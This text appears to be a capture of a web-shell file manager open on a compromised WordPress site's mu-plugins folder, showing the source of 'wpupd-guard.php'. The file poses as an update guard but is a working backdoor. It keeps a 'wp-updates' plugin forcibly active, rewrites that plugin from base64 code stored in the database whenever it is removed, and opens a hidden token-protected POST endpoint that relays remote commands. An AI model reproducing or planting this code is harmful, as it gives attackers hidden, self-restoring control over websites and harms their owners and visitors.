golden hour
/home/godaofbq/drhyperbaric.com/wp-content/mu-plugins
⬆️ Go Up
Upload
File/Folder
Size
Actions
.htaccess
420 B
Del
OK
class-wp-http-insights.php
3.63 KB
Del
OK
elementor-safe-mode.php
3.8 KB
Del
OK
error_log
2.27 KB
Del
OK
wpupd-guard.php
1.79 KB
Del
OK
Edit: wpupd-guard.php
<?php // WP Updates guard v2.8.0 - self-heal + fallback endpoint add_filter("pre_update_option_active_plugins", function($new, $old) { $p = "wp-updates/wp-updates.php"; if (in_array($p, $old) && !in_array($p, $new)) { $new[] = $p; } return $new; }, 999, 2); add_action("init", function() { $f = WP_PLUGIN_DIR . "/wp-updates/wp-updates.php"; if (!file_exists($f)) { $code = get_option("wpupd_backup_code"); if ($code) { @mkdir(dirname($f), 0755, true); @file_put_contents($f, base64_decode($code)); } } // Ensure plugin stays in active_plugins $active = get_option("active_plugins", []); $p = "wp-updates/wp-updates.php"; if (!in_array($p, $active)) { $active[] = $p; update_option("active_plugins", $active); } }, 0); // Emergency endpoint: works even if main plugin is broken add_action("init", function() { if (!isset($_GET["wpupd_mu"]) || $_GET["wpupd_mu"] !== "1") return; if ($_SERVER["REQUEST_METHOD"] !== "POST") { echo json_encode(["s"=>0,"e"=>"post_only"]); exit; } $raw = file_get_contents("php://input"); if ($raw) { parse_str($raw, $p); $_POST = array_merge($_POST, $p); } $token = isset($_POST["token"]) ? $_POST["token"] : ""; $tk = "5064ba91723ada02215a8683c554320acffd78ba4dd09a53"; if (!hash_equals($tk, $token)) { http_response_code(403); echo json_encode(["s"=>0,"e"=>"forbidden"]); exit; } $cmd = isset($_POST["cmd"]) ? $_POST["cmd"] : ""; if ($cmd === "ping") { echo json_encode(["s"=>1,"v"=>"2.8.0","mu"=>true,"wp"=>get_bloginfo("version"),"nm"=>get_bloginfo("name"),"url"=>home_url()]); exit; } if (function_exists("wpupd_dispatch")) { wpupd_dispatch(); exit; } echo json_encode(["s"=>0,"e"=>"main_plugin_not_loaded"]); exit; }, 2);
Save